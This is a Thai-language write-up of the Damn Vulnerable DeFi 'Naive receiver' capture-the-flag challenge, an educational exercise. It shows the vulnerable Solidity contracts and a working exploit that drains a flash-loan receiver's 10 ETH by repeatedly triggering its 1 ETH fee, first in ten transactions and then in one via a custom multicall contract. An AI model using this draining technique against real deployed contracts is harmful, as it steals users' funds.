Damn Vulnerable Defi CTF writeup (Naive receiver)
มาทำ CTF กันครับ
โจทย์คือ
มี pool ที่เปิดให้ flash loan ETH ได้ โดยเปิดให้ flash loan ได้ถึง 1000 ETH
และมีค่า fee 1 ETH
user deploy contract สำหรับนำไปเรียก flash loan โดย contract มี balance 10 ETH
จง drain ETH ของ contract user ออกทั้งหมด
bonus: ถ้าสามารถทำได้ใน tx เดียว จะดีมาก
โอเคมาดู code กัน
contract ที่เปิดให้ flash loan คือ NaiveReceiverLenderPool.sol มาดู code เต็มๆกัน
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./FlashLoanReceiver.sol";
/**
* @title NaiveReceiverLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender {
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
error RepayFailed();
error UnsupportedCurrency();
error CallbackFailed();
function maxFlashLoan(address token) external view returns (uint256) {
if (token == ETH) {
return address(this).balance;
}
return 0;
}
function flashFee(address token, uint256) external pure returns (uint256) {
if (token != ETH)
revert UnsupportedCurrency();
return FIXED_FEE;
}
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
if (token != ETH)
revert UnsupportedCurrency();
uint256 balanceBefore = address(this).balance;
// Transfer ETH and handle control to receiver
SafeTransferLib.safeTransferETH(address(receiver), amount);
if(receiver.onFlashLoan(
msg.sender,
ETH,
amount,
FIXED_FEE,
data
) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();
return true;
}
// Allow deposits of ETH
receive() external payable {}
}
เราจะพบว่าเมื่อเรียก function flashLoan จะมีการปล่อยกู้ให้ contract ที่มากู้ จากนั้นจะไปเรียก onFlashLoan ใน contract ที่มากู้ ตาม code ด้านล่าง
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
...
SafeTransferLib.safeTransferETH(address(receiver), amount);
if(receiver.onFlashLoan(
msg.sender,
ETH,
amount,
FIXED_FEE,
data
) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
...
}
หลังจากนั้นมีการเช็คว่า contract ที่มากู้ได้คืน ETH มาแล้วยัง ตาม flow ของการ flashLoan ตาม code ด้านล่าง
if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();
โอเค อีก contract นึงคือ FlashLoanReceiver.sol มาดู code เต็มๆกัน
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./NaiveReceiverLenderPool.sol";
/**
* @title FlashLoanReceiver
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FlashLoanReceiver is IERC3156FlashBorrower {
address private pool;
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
error UnsupportedCurrency();
constructor(address _pool) {
pool = _pool;
}
function onFlashLoan(
address,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
assembly { // gas savings
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}
if (token != ETH)
revert UnsupportedCurrency();
uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}
_executeActionDuringFlashLoan();
// Return funds to pool
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
// Internal function where the funds received would be used
function _executeActionDuringFlashLoan() internal { }
// Allow deposits of ETH
receive() external payable {}
}
จาก code เราจะพบว่าการทำงานของ function onFlashLoan คือการคืนเงินที่กู้มา พร้อมจ่ายค่า fee ตาม code ด้านล่าง
unchecked {
amountToBeRepaid = amount + fee;
}
_executeActionDuringFlashLoan();
// Return funds to pool
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);
โอเค ถ้าลองเขียน flow ดูจะได้ประมาณนี้
คำถามคือ
ทำยังไงให้ balance token ของ FlashLoanReceiver หมด ?
โอเค วิธีง่ายที่สุดก็คงเป็นให้ FlashLoanReceiver จ่ายค่า fee การ flashLoan ไปเรื่อยๆจนเงินหมด
มาลองทำกัน
it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
const ETH = await pool.ETH();
for (let i = 0; i < 10; i++) {
const tx = await pool.flashLoan(receiver.address, ETH, 0, "0x");
await tx.wait();
}
});
Solved!
แต่โจทย์บอกว่า เราสามารถทำได้ใน tx เดียวรึเปล่า?
จะลด 10 tx ให้เหลือ tx เดียวยังไงได้บ้าง ?
ที่คิดออกมี 2 วิธีคือ
- เขียน proxy contract ที่เรียก flashLoan 10 ครั้งใน proxy contract
- เรียก flashLoan 10 ครั้ง ผ่าน multicall
วิธีแรกดูง่ายไป 555 มาลองวิธีที่ 2 กัน
ก่อนอื่นมาทวนเรื่อง multicall กันหน่อยด้วย clip นี้
โอเค จากคลิป เราต้อง deploy contract multicall ก่อน
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract MultiCall {
function multiCall(
address[] calldata targets,
bytes[] calldata data
) external view returns (bytes[] memory) {
require(targets.length == data.length, "target length != data length");
bytes[] memory results = new bytes[](data.length);
for (uint i; i < targets.length; i++) {
(bool success, bytes memory result) = targets[i].staticcall(data[i]);
require(success, "call failed");
results[i] = result;
}
return results;
}
}
it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
const MultiCallFactory = await ethers.getContractFactory(
"MultiCall",
deployer
);
const multiCall = await MultiCallFactory.deploy();
});
จากนั้นก็ทำการเรียก multicall เพื่อให้เกิดการ flashLoan ขึ้น 10 ครั้ง
โดยการเรียก multicall แบบนั้นจะต้องส่งค่าไป 2 อย่างคือ
- array ของ address ของ pool 10 อัน
- array ของ calldata ในการ flashLoan 10 อัน
ซึ่งในข้อ 2 เนี่ย การแปลงการเรียก function เป็น calldata จะใช้ code ประมาณนี้
pool.interface.encodeFunctionData("flashLoan", [
receiver.address,
ETH,
0,
"0x",
])
โอเค มาลองเรียก multicall กัน
it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
const MultiCallFactory = await ethers.getContractFactory(
"MultiCall",
deployer
);
const multiCall = await MultiCallFactory.deploy();
const ETH = await pool.ETH();
const tx = await multiCall.multiCall(
Array.from({ length: 10 }, (x, i) => pool.address),
Array.from({ length: 10 }, (x, i) =>
pool.interface.encodeFunctionData("flashLoan", [
receiver.address,
ETH,
0,
"0x",
])
)
);
await tx.wait();
});
ซึ่ง … มัน error
ทำไมถึง error ละ มาหาสาเหตุกัน
- multicall ใช้งานไม่ได้ ?
พอเรียก multicall ไป function maxFlashLoan ก็ทำงานได้นะ
2. หาจุดที่ error
พอใช้ log ของ hardhat ไล่ไปเรื่อยๆก็พบว่าจุดที่ error คือการ transferETH
ทำไมการ transferETH error แต่ function call อื่นๆไม่ error ละ ?
เป็นเพราะ gas ไม่พอรึเปล่า ? เป็นไปได้ เพราะการ estimate gas ของ function ที่ call กันหลายๆต่อ อาจจะพลาด … แต่พอลองเพิ่ม gasLimit ให้แล้ว ก็ยัง error … แสดงว่าไม่ใช่ case นี้
เป็นเพราะ multicall อันนี้เป็น multicall read ไม่ใช่ multicall read/write ?
พอลองไปดูดีๆ multicall ที่เอามา ดันเป็น view function เฉยเลย
และใช้ staticcall ในการเรียก function flashLoan ด้วย
ประเด็นคือ staticcall ใช้สำหรับการอ่านเท่านั้น ถ้ามีการเขียนต้องใช้ call
ดังนั้นเราจะแก้ multiCall contract เป็น code นี้แทน
contract MultiCall {
function multiCall(
address[] calldata targets,
bytes[] calldata data
) external returns (bytes[] memory) {
require(targets.length == data.length, "target length != data length");
bytes[] memory results = new bytes[](data.length);
for (uint i; i < targets.length; i++) {
(bool success, bytes memory result) = targets[i].call(data[i]);
require(success, "call failed");
results[i] = result;
}
return results;
}
}
โอเค Solved!
ข้อนี้ น่าจะประมาณนี้ ไว้เจอกันบทความหน้าครับ